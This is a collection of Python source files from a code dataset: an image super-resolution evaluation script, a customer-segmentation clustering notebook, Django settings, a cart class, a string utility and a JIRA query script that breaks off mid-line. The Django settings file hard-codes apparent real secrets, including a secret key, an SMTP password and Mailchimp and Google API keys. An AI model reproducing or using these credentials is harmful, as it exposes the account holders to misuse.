+{"seq_id":"414657027","text":"import os.path as osp\nimport logging\nimport time\nimport argparse\nimport csv\nfrom collections import OrderedDict\n\nimport options.options as option\nimport utils.util as util\nfrom data.util import bgr2ycbcr\nfrom data import create_dataset, create_dataloader\nfrom models import create_model\n\n\ndef cal_pnsr_ssim(sr_img, gt_img, lr_img, lrgt_img):\n # save images\n suffix = opt['suffix']\n if suffix:\n save_img_path = osp.join(dataset_dir, folder, img_name + suffix + '.png')\n else:\n save_img_path = osp.join(dataset_dir, folder, img_name + '.png')\n util.save_img(sr_img, save_img_path)\n #\n # if suffix:\n # save_img_path = osp.join(dataset_dir, folder, img_name + suffix + '_GT.png')\n # else:\n # save_img_path = osp.join(dataset_dir, folder, img_name + '_GT.png')\n # util.save_img(gt_img, save_img_path)\n #\n if suffix:\n save_img_path = osp.join(dataset_dir, folder, img_name + suffix + '_LR.png')\n else:\n save_img_path = osp.join(dataset_dir, folder, img_name + '_LR.png')\n util.save_img(lr_img, save_img_path)\n #\n # if suffix:\n # save_img_path = osp.join(dataset_dir, folder, img_name + suffix + '_LR_ref.png')\n # else:\n # save_img_path = osp.join(dataset_dir, folder, img_name + '_LR_ref.png')\n # util.save_img(lrgt_img, save_img_path)\n\n # calculate PSNR and SSIM\n gt_img = gt_img / 255.\n sr_img = sr_img / 255.\n\n lr_img = lr_img / 255.\n lrgt_img = lrgt_img / 255.\n\n crop_border = opt['crop_border'] if opt['crop_border'] else opt['scale']\n if crop_border == 0:\n cropped_sr_img = sr_img\n cropped_gt_img = gt_img\n else:\n cropped_sr_img = sr_img[crop_border:-crop_border, crop_border:-crop_border, :]\n cropped_gt_img = gt_img[crop_border:-crop_border, crop_border:-crop_border, :]\n\n psnr = util.calculate_psnr(cropped_sr_img * 255, cropped_gt_img * 255)\n ssim = util.calculate_ssim(cropped_sr_img * 255, cropped_gt_img * 255)\n test_results['psnr'].append(psnr)\n test_results['ssim'].append(ssim)\n\n # PSNR and SSIM for LR\n psnr_lr = util.calculate_psnr(lr_img * 255, lrgt_img * 255)\n ssim_lr = util.calculate_ssim(lr_img * 255, lrgt_img * 255)\n test_results['psnr_lr'].append(psnr_lr)\n test_results['ssim_lr'].append(ssim_lr)\n\n if gt_img.shape[2] == 3: # RGB image\n sr_img_y = bgr2ycbcr(sr_img, only_y=True)\n gt_img_y = bgr2ycbcr(gt_img, only_y=True)\n if crop_border == 0:\n cropped_sr_img_y = sr_img_y\n cropped_gt_img_y = gt_img_y\n else:\n cropped_sr_img_y = sr_img_y[crop_border:-crop_border, crop_border:-crop_border]\n cropped_gt_img_y = gt_img_y[crop_border:-crop_border, crop_border:-crop_border]\n psnr_y = util.calculate_psnr(cropped_sr_img_y * 255, cropped_gt_img_y * 255)\n ssim_y = util.calculate_ssim(cropped_sr_img_y * 255, cropped_gt_img_y * 255)\n test_results['psnr_y'].append(psnr_y)\n test_results['ssim_y'].append(ssim_y)\n\n lr_img_y = bgr2ycbcr(lr_img, only_y=True)\n lrgt_img_y = bgr2ycbcr(lrgt_img, only_y=True)\n psnr_y_lr = util.calculate_psnr(lr_img_y * 255, lrgt_img_y * 255)\n ssim_y_lr = util.calculate_ssim(lr_img_y * 255, lrgt_img_y * 255)\n test_results['psnr_y_lr'].append(psnr_y_lr)\n test_results['ssim_y_lr'].append(ssim_y_lr)\n\n writer.writerow([osp.join(folder, img_name), psnr_y, psnr_y_lr, ssim_y, ssim_y_lr])\n logger.info(\n '{:20s} - PSNR: {:.6f} dB; SSIM: {:.6f}; PSNR_Y: {:.6f} dB; SSIM_Y: {:.6f}. LR PSNR: {:.6f} dB; SSIM: {:.6f}; PSNR_Y: {:.6f} dB; SSIM_Y: {:.6f}.'.\n format(osp.join(folder, img_name), psnr, ssim, psnr_y, ssim_y, psnr_lr, ssim_lr, psnr_y_lr, ssim_y_lr))\n else:\n writer.writerow([osp.join(folder, img_name), psnr, psnr_lr])\n logger.info('{:20s} - PSNR: {:.6f} dB; SSIM: {:.6f}. LR PSNR: {:.6f} dB; SSIM: {:.6f}.'.format(\n osp.join(folder, img_name), psnr, ssim, psnr_lr, ssim_lr))\n\n return test_results\n\n\n# options\nparser = argparse.ArgumentParser()\nparser.add_argument('-opt', type=str, required=True, help='Path to options YMAL file.')\nopt = option.parse(parser.parse_args().opt, is_train=False)\nopt = option.dict_to_nonedict(opt)\n\nutil.mkdirs(\n (path for key, path in opt['path'].items()\n if not key == 'experiments_root' and 'pretrain_model' not in key and 'resume' not in key))\nutil.setup_logger('base', opt['path']['log'], 'test_' + opt['name'], level=logging.INFO,\n screen=True, tofile=True)\nlogger = logging.getLogger('base')\nlogger.info(option.dict2str(opt))\n\n# Create test dataset and dataloader\ntest_loaders = []\nfor phase, dataset_opt in sorted(opt['datasets'].items()):\n test_set = create_dataset(dataset_opt)\n test_loader = create_dataloader(test_set, dataset_opt)\n logger.info('Number of test images in [{:s}]: {:d}'.format(dataset_opt['name'], len(test_set)))\n test_loaders.append(test_loader)\n\nmodel = create_model(opt)\nfor test_loader in test_loaders:\n test_set_name = test_loader.dataset.opt['name']\n logger.info('\\nTesting [{:s}]...'.format(test_set_name))\n test_start_time = time.time()\n dataset_dir = osp.join(opt['path']['results_root'], test_set_name)\n # util.mkdir(dataset_dir)\n\n test_results = OrderedDict()\n test_results['psnr'] = []\n test_results['ssim'] = []\n test_results['psnr_y'] = []\n test_results['ssim_y'] = []\n\n test_results['psnr_lr'] = []\n test_results['ssim_lr'] = []\n test_results['psnr_y_lr'] = []\n test_results['ssim_y_lr'] = []\n\n with open(osp.join(opt['path']['log'], 'test_' + opt['name'] + '_test.csv'), 'w') as f:\n writer = csv.writer(f)\n for data in test_loader:\n model.feed_data(data)\n if test_set_name == 'Vid4':\n folder = osp.split(osp.dirname(data['GT_path'][0][0]))[1]\n else:\n folder = ''\n util.mkdir(osp.join(dataset_dir, folder))\n\n model.test()\n visuals = model.get_current_visuals()\n\n if test_set_name == 'Vimeo90K':\n center = visuals['SR'].shape[0] // 2\n img_path = data['GT_path'][0]\n img_name = osp.splitext(osp.basename(img_path))[0]\n\n sr_img = util.tensor2img(visuals['SR']) # uint8\n gt_img = util.tensor2img(visuals['GT'][center]) # uint8\n lr_img = util.tensor2img(visuals['LR']) # uint8\n lrgt_img = util.tensor2img(visuals['LR_ref'][center]) # uint8\n\n test_results = cal_pnsr_ssim(sr_img, gt_img, lr_img, lrgt_img)\n\n else:\n t_step = visuals['SR'].shape[0]\n for i in range(t_step):\n img_path = data['GT_path'][i][0]\n img_name = osp.splitext(osp.basename(img_path))[0]\n\n sr_img = util.tensor2img(visuals['SR'][i]) # uint8\n gt_img = util.tensor2img(visuals['GT'][i]) # uint8\n lr_img = util.tensor2img(visuals['LR'][i]) # uint8\n lrgt_img = util.tensor2img(visuals['LR_ref'][i]) # uint8\n\n test_results = cal_pnsr_ssim(sr_img, gt_img, lr_img, lrgt_img)\n\n # Average PSNR/SSIM results\n ave_psnr = sum(test_results['psnr']) / len(test_results['psnr'])\n ave_ssim = sum(test_results['ssim']) / len(test_results['ssim'])\n\n ave_psnr_lr = sum(test_results['psnr_lr']) / len(test_results['psnr_lr'])\n ave_ssim_lr = sum(test_results['ssim_lr']) / len(test_results['ssim_lr'])\n\n logger.info(\n '----Average PSNR/SSIM results for {}----\\n\\tpsnr: {:.6f} db; ssim: {:.6f}. LR psnr: {:.6f} db; ssim: {:.6f}.\\n'.format(\n test_set_name, ave_psnr, ave_ssim, ave_psnr_lr, ave_ssim_lr))\n if test_results['psnr_y'] and test_results['ssim_y']:\n ave_psnr_y = sum(test_results['psnr_y']) / len(test_results['psnr_y'])\n ave_ssim_y = sum(test_results['ssim_y']) / len(test_results['ssim_y'])\n\n ave_psnr_y_lr = sum(test_results['psnr_y_lr']) / len(test_results['psnr_y_lr'])\n ave_ssim_y_lr = sum(test_results['ssim_y_lr']) / len(test_results['ssim_y_lr'])\n logger.info(\n '----Y channel, average PSNR/SSIM----\\n\\tPSNR_Y: {:.6f} dB; SSIM_Y: {:.6f}. LR PSNR_Y: {:.6f} dB; SSIM_Y: {:.6f}.\\n'.\n format(ave_psnr_y, ave_ssim_y, ave_psnr_y_lr, ave_ssim_y_lr))\n","sub_path":"codes/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":8426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"610330026","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Aug 19 11:33:08 2020\n\n@author: ramravi\n\"\"\"\n\n#importing the necessary libraries\n \nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\nfrom pandas import plotting\n\n#for visualization\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nplt.style.use('fivethirtyeight')\n\n#for interactive visualizations\nimport plotly.offline as py\nfrom plotly.offline import init_notebook_mode, iplot\nimport plotly.graph_objs as go\nfrom plotly import tools\ninit_notebook_mode(connected=True)\nimport plotly.figure_factory as ff\n\n#importing the dataset\ndata= pd.read_csv('mallcustomersegmentation.csv')\n\ndat=ff.create_table(data.head())\n\npy.iplot(dat)\n\n\ndata.describe()\n\n#checking if there is null data\ndata.isnull().any().any()\n\n#plotting the andrews_curve\nplt.rcParams['figure.figsize']=(15,10)\n\nplotting.andrews_curves(data.drop('CustomerID', axis=1), 'Gender')\nplt.title('Andrew curves for gender', fontsize=20)\nplt.show()\n\n# the andrews curve preserves the means, distance(up to a constant) adn variances. \n\nimport warnings\nwarnings.filterwarnings('ignore')\n\nplt.rcParams['figure.figsize']=(18,8)\n\nplt.subplot(1,2,1)\nsns.set(style='whitegrid')\nsns.distplot(data['Annual Income (k$)'])\nplt.title('annual income distribution', fontsize=20)\nplt.xlabel('Range of Annual Income')\nplt.ylabel('Count')\n\nplt.subplot(1,2,2)\nsns.set(style='whitegrid')\nsns.distplot(data['Age'], color='red')\nplt.title('Distribution of Age', fontsize=20)\nplt.xlabel('Range of age')\nplt.ylabel('count')\n\n# we can infer one thing that There are few people who earn more than 100 US Dollars. Most of the people have an earning of around 50-75 US Dollars. Also, we can say that the least Income is around 20 US Dollars.\n \n# Taking inferences about the Customers.\n\n# The most regular customers for the Mall has age around 30-35 years of age. Whereas the the senior citizens age group is the least frequent visitor in the Mall. Youngsters are lesser in umber as compared to the Middle aged people.\n\n\nlabels=['Female','Male']\nsize=data['Gender'].value_counts()\ncolors=['lightgreen', 'orange']\nexplode=[0,0.1]\n\nplt.rcParams['figure.figsize']=(9,9)\nplt.pie(size, explode=explode, labels=labels, autopct='%.2f%%', shadow=True)\nplt.title('Gender Pie distribution')\nplt.axis('off')\nplt.legend()\nplt.show()\n\n#if you can see the pie chart, it is clear that female gender leads the male count by atleast 56%\n# that is a huge gap specially when the population of Males is comparatively higher than females\n\nplt.rcParams['figure.figsize'] = (15, 8)\nsns.countplot(data['Age'], palette = 'hsv')\nplt.title('Distribution of Age', fontsize = 20)\nplt.show()\n\n#This graph shows a more interactive chart about the distribution of each Age grou in the mall.\n#it is seen that the ages from 27 to 39 are very much frequent but there is no clear pattern. Interesting Fact, There are equal no. of Visitors in the Mall for the Agee 18 and 67. People of Age 55, 56, 69, 64 are very less frequent in the Malls. People at Age 32 are the Most Frequent Visitors in the Mall.\n\n\nplt.rcParams['figure.figsize']=(15,8)\nsns.countplot(data['Annual Income (k$)'], palette='hsv')\nplt.title('Distribution of Annual Income', fontsize=25)\nplt.show()\n\n#Interesting Fact, There are equal no. of Visitors in the Mall for the Agee 18 and 67. People of Age 55, 56, 69, 64 are very less frequent in the Malls. People at Age 32 are the Most Frequent Visitors in the Mall.\n\nplt.rcParams['figure.figsize']=(15,8)\nsns.countplot(data['Spending Score (1-100)'], palette='copper')\nplt.title('Distribution of Spending score', fontsize=25)\nplt.show()\n\n#this is the most important chart of all. \n#This shows that the mall has a variety of customers coming in since the chart here shows a spending score from 1 till 99. This shoes that the mall caters to the needs of different class of poeple. However, the most cutomers spending score lies between 35-60.\n\nsns.pairplot(data)\nplt.title('Paiplot for the data', fontsize=20)\nplt.show()\n\n# This shows the relationship between each feature variable with itself and with the other variables in the table. This helps in finding the hidden relationship between the chosen variable(target) and the other important features selected.\n\nplt.rcParams['figure.figsize']=(15,8)\nsns.heatmap(data.corr(), cmap='Wistia', annot=True)\nplt.title('Correlation matrix')\nplt.show()\n\n#If you can see the matrix, the features does not have any good correlation, thus proceeding with all the features.\n\n#Bi-Variate Analysis\n\nplt.rcParams['figure.figsize']=(15,8)\nsns.boxenplot('Gender','Spending Score (1-100)',data=data,palette='Blues')\nplt.title('Bi-Variate Analysis of gender and spending score')\nplt.show()\n\n\n#This shows the spending score of male is around 25k to 70k whearas the female gender has a spending score of 35k to 75k.This shows the clear domination of female gender in the shopping arena!\n\nplt.rcParams['figure.figsize']=(15,8)\nsns.boxplot('Gender', 'Annual Income (k$)', data=data, palette='rainbow')\nplt.title('Bivariate analysis Gender vs Annual Income', fontsize=20)\nplt.show()\n\n#This is that the male has higher average salary than the female gender, while if you compare lower income, both the gender is almost equal.\n\nx=data['Annual Income (k$)']\ny=data['Age']\nz=data['Spending Score (1-100)']\n\nsns.lineplot(x,y,color='blue')\nsns.lineplot(x,z,color='pink')\nplt.title('Multivariate anaysis of age vs annual income vs spending score')\nplt.show()\n\n#the above chart shows the relationship between age and annula income and also annual income and spending score.\n\n#Clustering analysis\nx=data.iloc[:,[3,4]].values\n\n\n#k means Algorithm\n\n#elbow method to find the number of optimum clusters\nfrom sklearn.cluster import KMeans\nwcss=[]\nfor i in range(1,11):\n km=KMeans(n_clusters=i, init='k-means++',max_iter=300,\n n_init=10, random_state=0)\n km.fit(x)\n wcss.append(km.inertia_)\n \nplt.plot(range(1,11), wcss)\nplt.title('The elbow method', fontsize=20)\nplt.xlabel('No of clusters')\nplt.ylabel('wcss')\nplt.show()\n\n#visualizing the clusters\nkm=KMeans(n_clusters=5, init='k-means++', max_iter=300,\n n_init=10, random_state=0)\ny_means=km.fit_predict(x)\n\nplt.scatter(x[y_means==0,0], x[y_means==0,1], \n s=100, c='pink', label='misser')\nplt.scatter(x[y_means==1,0], x[y_means==1,1], s=100, c='yellow',\n label='general')\nplt.scatter(x[y_means==2,0], x[y_means==2,1], s=100, c='cyan', \n label='target')\nplt.scatter(x[y_means==3,0], x[y_means==3,1], s=100, c='magenta',\n label='spendthrift')\nplt.scatter(x[y_means==4,0], x[y_means==4,1],s=100, c='orange',\n label='careful')\nplt.scatter(km.cluster_centers_[:,0],km.cluster_centers_[:,1], s=50, c='blue', label='centeriod')\n\n\nplt.style.use('fivethirtyeight')\nplt.title('K means Clsutering', fontsize=20)\nplt.xlabel('Annaul Income')\nplt.ylabel('Spending score')\nplt.legend()\nplt.grid()\nplt.show()\n\n\n#there are five segments in the mall and the label explains them in breifly.The mall authorities have to take care of the careul categories to avail some benefits so that they move to the general category.\n\n\n#Hierarchial Clustering\n\n#using dendograms\n\nimport scipy.cluster.hierarchy as sch\ndendogram=sch.dendrogram(sch.linkage(x, method='ward'))\nplt.title('dendogram',fontsize=20)\nplt.xlabel('customers')\nplt.ylabel('Ecuclidian Distance')\nplt.show()\n\n\n\n\nfrom sklearn.cluster import AgglomerativeClustering\n\nhc=AgglomerativeClustering(n_clusters=5, affinity='euclidean', linkage='ward')\ny_hc=hc.fit_predict(x)\n\nplt.scatter(x[y_hc==0,0], x[y_hc==0,1], s=100, c='pink', label='misser')\nplt.scatter(x[y_hc==1,0], x[y_hc==1,1], s=100, c='yellow', label='general')\nplt.scatter(x[y_hc==2,0], x[y_hc==2,1], s=100, c='orange', label='target')\nplt.scatter(x[y_hc==3,0], x[y_hc==3,1], s=100, c='magenta', label='spendthrift')\nplt.scatter(x[y_hc==4,0], x[y_hc==4,1], s=100, c='cyan', label='careful')\nplt.scatter(km.cluster_centers_[:,0], km.cluster_centers_[:,1], s=100, c='blue',label='centroid')\n\nplt.style.use('fivethirtyeight')\nplt.title('Cluster analysis-hierarchial Clustering', fontsize=20)\nplt.xlabel('Annual income')\nplt.ylabel('spending score (1-100)')\nplt.legend()\nplt.grid()\nplt.show()\n\n#age and spending score:\n \n \nx= data.iloc[:,[2,4]].values\n\nwcss=[]\nfor i in range(1,11):\n km=KMeans(n_clusters=i, init='k-means++', n_init=10, max_iter=300, random_state=0)\n km.fit(x)\n wcss.append(km.inertia_)\n \nplt.plot(range(1,11),wcss)\nplt.title('The elbow method', fontsize=20)\nplt.xlabel('No of clusters')\nplt.ylabel('wcss')\nplt.show()\n\nkm=KMeans(n_clusters=4, init='k-means++', max_iter=300,\n n_init=10, random_state=0)\ny_means=km.fit_predict(x)\n\nplt.scatter(x[y_means==0,0], x[y_means==0,1], \n s=100, c='pink', label='target customer')\nplt.scatter(x[y_means==1,0], x[y_means==1,1], s=100, c='yellow',\n label='priority')\nplt.scatter(x[y_means==2,0], x[y_means==2,1], s=100, c='cyan', \n label='usual customer')\nplt.scatter(x[y_means==3,0], x[y_means==3,1], s=100, c='magenta',\n label='target old customer')\nplt.scatter(km.cluster_centers_[:,0],km.cluster_centers_[:,1], s=50, c='blue', label='centeriod')\n\n\nplt.style.use('fivethirtyeight')\nplt.title('K means Clustering', fontsize=20)\nplt.xlabel('Age')\nplt.ylabel('Spending score')\nplt.legend()\nplt.grid()\nplt.show()\n\n#the age and spending score by looking at the above chart, we have the usual customer spread over all ages. And we also have the target customers with young and old ages.Then after getting the results we can accordingly make different marketing strategies and policies to optimize the spending scores of the customer in the Mall.\n\nx=data[['Age','Spending Score (1-100)', 'Annual Income (k$)']].values\nkm=KMeans(n_clusters=5, init='k-means++', max_iter=300, n_init= 10, random_state=0)\nkm.fit(x)\nlabels=km.labels_\ncentroids=km.cluster_centers_\n\ndata['labels']= labels\ntrace1= go.Scatter3d(\n x= data['Age'],\n y=data['Spending Score (1-100)'],\n z=data['Annual Income (k$)'],\n mode='markers',\n marker=dict(\n color=data['labels'],\n size=10,\n line=dict(\n color=data['labels'],\n width=12\n ),\n opacity=0.8\n )\n )\ndf=[trace1]\n\nlayout= go.Layout(\n title='Character vs Gender vs Alive or not',\n margin=dict(\n l=0,\n r=0,\n b=0,\n t=0\n ),\n scene=dict(\n xaxis=dict(title='Age'),\n yaxis=dict(title='Spending Score'),\n zaxis=dict(title='Annual Income')\n )\n )\nfig=go.Figure(data=df, layout=layout)\npy.offline.plot(fig)\n\n# this is a multivariate analysis of age vs annual income vs spending score.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"mallcustomersegmentation.py","file_name":"mallcustomersegmentation.py","file_ext":"py","file_size_in_byte":10827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"225382122","text":"import socket\nnome_ambiente = socket.gethostname()\n\nSECRET_KEY = '#+%360=b!(lpg4j1vc7l27gv7mf9+x$b@9txv253g-(jj$au8n'\n\nROOT_URLCONF = 'workwidewomen.urls'\nWSGI_APPLICATION = 'workwidewomen.wsgi.application'\n\nADMINS = (\n ('Riccardo Russo', 'senblet@gmail.com'),\n)\n\nMANAGERS = ADMINS\n\nALLOWED_HOSTS = ['*',]\n\nTIME_ZONE = 'Europe/Rome'\nLANGUAGE_CODE = 'en-us'\nSITE_ID = 1\nUSE_I18N = True\nUSE_L10N = True\nUSE_TZ = True\n\nSTATICFILES_DIRS = (\n '../static/',\n)\n\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n)\n\nTEMPLATE_LOADERS = (\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.middleware.common.CommonMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'workwidewomen.middleware.ControlloBan',\n)\n\nINSTALLED_APPS = (\n 'longerusername',\n 'south',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'django.contrib.admin',\n 'gestioneutenti',\n 'gestioneapplicazione',\n 'caricamentofiles',\n 'debug',\n 'registration',\n 'facebooklogin',\n 'messaggistica',\n 'djcelery',\n 'pagamenti',\n 'notifiche',\n 'feedback',\n 'amministrazione',\n 'dashboard',\n 'gestioneombra',\n 'funzionisito',\n 'profili',\n 'validazione',\n 'gestionepreferiti'\n)\n\nSOUTH_MIGRATION_MODULES = {\n 'djcelery': 'djcelery.south_migrations',\n}\n\nSESSION_SERIALIZER = 'django.contrib.sessions.serializers.JSONSerializer'\n\nSERVER_EMAIL = 'no-reply@workwidewomen.com'\nEMAIL_USE_TLS = True\n\n### Configurazione Email ###\nEMAIL_HOST = 'smtp.workwidewomen.com'\nEMAIL_PORT = 587\n#EMAIL_PORT = 25\nEMAIL_HOST_USER = 'no-reply@workwidewomen.com'\nEMAIL_HOST_PASSWORD = '9e3Av9yk72'\nDEFAULT_FROM_EMAIL = 'no-reply@workwidewomen.com'\n\nSESSION_EXPIRE_AT_BROWSER_CLOSE = False\n\nFACEBOOK_APP_ID = ''\nFACEBOOK_API_KEY = ''\nFACEBOOK_API_SECRET = ''\nAUTHENTICATION_BACKENDS = (\n 'facebooklogin.backends.FacebookBackend',\n 'django.contrib.auth.backends.ModelBackend',\n)\n\nMAX_USERNAME_LENGTH = 75\n\n#YELP PRODUCTION\nCONSUMER_KEY = \"\"\nCONSUMER_SECRET = \"\"\nTOKEN_YELP = \"\"\nTOKEN_SECRET = \"\"\n\n#API GOOGLE PRODUCTION/DEVELOPMENT\nGOOGLE_KEY = \"\"\n\n#MAILCHIMP PRODUCTION/DEVELOPMENT workwidewomen\nAPIKEY_LJ = '071ba05fd1ad5ea79dd2aed2ea0ec2b2-us7'\nMAILID_LJ = '0d8ab8a539'\n\n#NOTIFICHE\n#CHIAVE GCM PRODUCTION/DEVELOPMENT \nCHIAVE_GCM = 'AIzaSyAfUbGRsXZjNpANA8fCxTSGM3QA6VxxRkA'\n\n#CERTIFICATO APPLE\nPATH_CERTIFICATO = '/home/django/certificati/WWWW_distribution.pem'\n\n#DATI INVIO SMS\nUSERNAME_SMS = \"\"\nPASSWORD_SMS = \"\"\n\n#STRIPE PRODUCTION\nSTRIPE_API_KEY = \"\"\nPUBLIC_KEY_STRIPE = \"\"\n\nAPIKEY_IDRO = \"\"\nMAILID_IDRO = \"\"\n\nif (nome_ambiente == \"riccardo\") or (nome_ambiente == \"Riccardos-MacBook-Pro.local\") or (nome_ambiente == \"Riccardos-MBP.lan\"):\n\tfrom settings_locale import *\nelse:\n\tfrom settings_production import *","sub_path":"workwidewomen/workwidewomen/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":3236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"532656701","text":"import numpy as np\nimport pandas as pd\n\n\ndef appendstr(x, value, connector='', position='end'):\n \"\"\"\n appends *value* and *x* separated by a *connector* with the position of *val* determined by *position*\n :param x:\n :param value:\n :param connector:\n :param position:\n \"\"\"\n assert ((isinstance(x, str) | (x is None) | (x != x))), \"x must be str type, NoneType or NaN: x is {} type.\" \\\n .format(type(x))\n if ((x != x) | (x is None)):\n x = ''\n assert (isinstance(value, str)), \"value must be str type: value is {} type.\".format(type(value))\n assert (isinstance(connector, str)) \\\n , \"connector must be str or None type, not {} type.\".format(type(connector))\n assert (isinstance(position, (str, int))), \"position must be either str or int type, not {}.\" \\\n .format(type(position))\n if isinstance(position, str):\n assert (position in ['start', 'end']), \"If position is str type, it must be either 'start' or 'end'.\"\n positiondict = {'start': 0, 'end': len(x)}\n position = positiondict[position]\n if isinstance(position, int):\n assert (position in range(0, 1 + len(x))) \\\n , \"If position is int type, it must be a value in the range 0 through {}.\".format(len(x))\n prefix = x[:position]\n suffix = x[position:]\n if len(x) == 0:\n res = value + connector\n else:\n if position == 0:\n res = prefix + value + connector + suffix\n if position == len(x):\n res = prefix + connector + value + suffix\n if (position > 0 & position < 1):\n res = prefix + connector + value + connector + suffix\n\n return res\n","sub_path":"cleanlizard/cleanlizard/appendstr.py","file_name":"appendstr.py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"46812147","text":"from shop.models import Product\nfrom decimal import Decimal\n\n\nclass Cart:\n \"\"\"\n A base Cart class for some default behaviour that can be overridden if necessary.\n \"\"\"\n\n def __init__(self, request):\n self.session = request.session\n cart = self.session.get('s_key')\n if 's_key' not in request.session:\n cart = self.session['s_key'] = {}\n self.cart = cart\n\n def add(self, product, qty):\n \"\"\"\n Adding and updating the users session data\n \"\"\"\n product_id = str(product.id) # has to be a string to check session data\n\n if product_id in self.cart:\n self.cart[product_id][\"qty\"] = qty # if product already in the basket, just update quantity\n else:\n self.cart[product_id] = {\"price\": str(product.price), \"qty\": int(qty)} # else add item to cart and save it\n\n # self.session.modified = True # tells django explicitly that the session has been modified\n self.save() # does the same thing, but through a function for less repeating\n\n def __iter__(self):\n \"\"\"\"\n Collect the product_id in the session, query the database and return products\n \"\"\"\n product_ids = self.cart.keys()\n products = Product.products.filter(id__in=product_ids)\n cart = self.cart.copy()\n\n # extend the cart data from the session to add product information (picture, description and so on)\n for product in products:\n cart[str(product.id)]['product'] = product\n\n # loop trough the session data product and capture price and quantity data, add to product information\n for item in cart.values():\n item['price'] = Decimal(item['price']) # change data type to decimal\n item['total_price'] = item['price'] * item['qty']\n yield item\n\n def __len__(self):\n \"\"\"\n Get basket data and count qty of items\n \"\"\"\n return sum(item['qty'] for item in self.cart.values())\n\n def get_total_price(self):\n return sum(Decimal(item['price']) * item['qty'] for item in self.cart.values())\n\n def update(self, product, qty):\n \"\"\"\n Update values in session data\n \"\"\"\n product_id = str(product)\n if product_id in self.cart:\n self.cart[product_id]['qty'] = qty\n self.save()\n\n def delete(self, product):\n \"\"\"\n Delete item from session data\n \"\"\"\n product_id = str(product)\n if product_id in self.cart:\n del self.cart[product_id]\n self.save()\n\n def save(self):\n self.session.modified = True\n","sub_path":"cart/cart.py","file_name":"cart.py","file_ext":"py","file_size_in_byte":2643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"457601554","text":"\r\n\r\nfrom jira import JIRA\r\n#import json\r\n#from dateutil import parser\r\n#import datetime\r\nimport ccilib as cci\r\n#import getpass\r\n#import sys\r\n#import gspread\r\n#from oauth2client.service_account import ServiceAccountCredentials\r\nimport re\r\n\r\n\r\nclass failed_content:\r\n \r\n def __init__(self, title, cci_file):\r\n self.title = title;\r\n self.cc = cci.cci(cci_file);\r\n self.items = self.cc.get_unique_cars_cgi_all()\r\n self.cla_number = self.cc.get_cla_count();\r\n self.failed_items = set();\r\n self.failed_cqc_items =set();\r\n self.failed_cqa_items = set();\r\n self.issues = set()\r\n self.activities = set(self.cc.get_cla_numbers(self.items));\r\n self.extra_failed_cla = set()\r\n\r\n \r\n def failed_cla(self):\r\n return set(self.cc.get_cla_numbers(self.failed_items));\r\n \r\n def all_failed_cla(self):\r\n return self.failed_cla() | self.extra_failed_cla\r\n \r\n def failed_cqc_cla(self):\r\n return set(self.cc.get_cla_numbers(self.failed_cqc_items));\r\n \r\n def failed_cqa_cla(self):\r\n return set(self.cc.get_cla_numbers(self.failed_cqa_items));\r\n \r\n def cqc_items_failure_rate(self):\r\n fr = 'N/A'\r\n if self.cla_number !=0:\r\n fr = len(self.failed_cqc_items)/self.cla_number\r\n return fr;\r\n \r\n def cqa_items_failure_rate(self):\r\n fr = 'N/A'\r\n if self.cla_number !=0:\r\n fr = len(self.failed_cqa_items)/self.cla_number\r\n return fr;\r\n \r\n def items_failure_rate(self):\r\n fr = 'N/A'\r\n if self.cla_number !=0:\r\n fr = len(self.failed_items)/self.cla_number\r\n return fr;\r\n \r\ndef issue_has_cgi(issue, item):\r\n des = issue.fields.description;\r\n ex = item + \"[^>]*<\"\r\n findings = re.findall(ex, des)\r\n return len(findings)\r\n\r\n\r\ndef item_failed(CGI):\r\n \r\n failed = 0;\r\n jac = JIRA('https://jira.cengage.com');\r\n query ='project = MTQA AND text ~ ' + CGI;\r\n issues = jac.search_issues(query);\r\n for issue in issues:\r\n if str(issue.fields.status) in ('Open','In Progress', 'Reopened') or str(issue.fields.resolution)=='Fixed' :\r\n failed = 1;\r\n return failed;\r\n\r\ndef find_all_issues(query):\r\n# query ='project = MTQA AND issuetype = Bug AND labels = back_half AND labels in (WLCQC)';\r\n jac = JIRA('https://jira.cengage.com');\r\n bunch = 50;\r\n issues = [];\r\n while bunch == 50:\r\n print('1')\r\n iss = jac.search_issues(query, startAt = len(issues) , maxResults = 50);\r\n bunch = len(list(iss))\r\n issues = issues + list(iss);\r\n print('2')\r\n return issues;\r\n\r\nif __name__ == \"__main__\":\r\n \r\n \r\n titles = {'Conectados':[1]}\r\n \r\n query12 = 'project = MTQA AND issuetype = Bug AND labels = WL_2020 AND labels in (WLCQC, WLCQA) AND 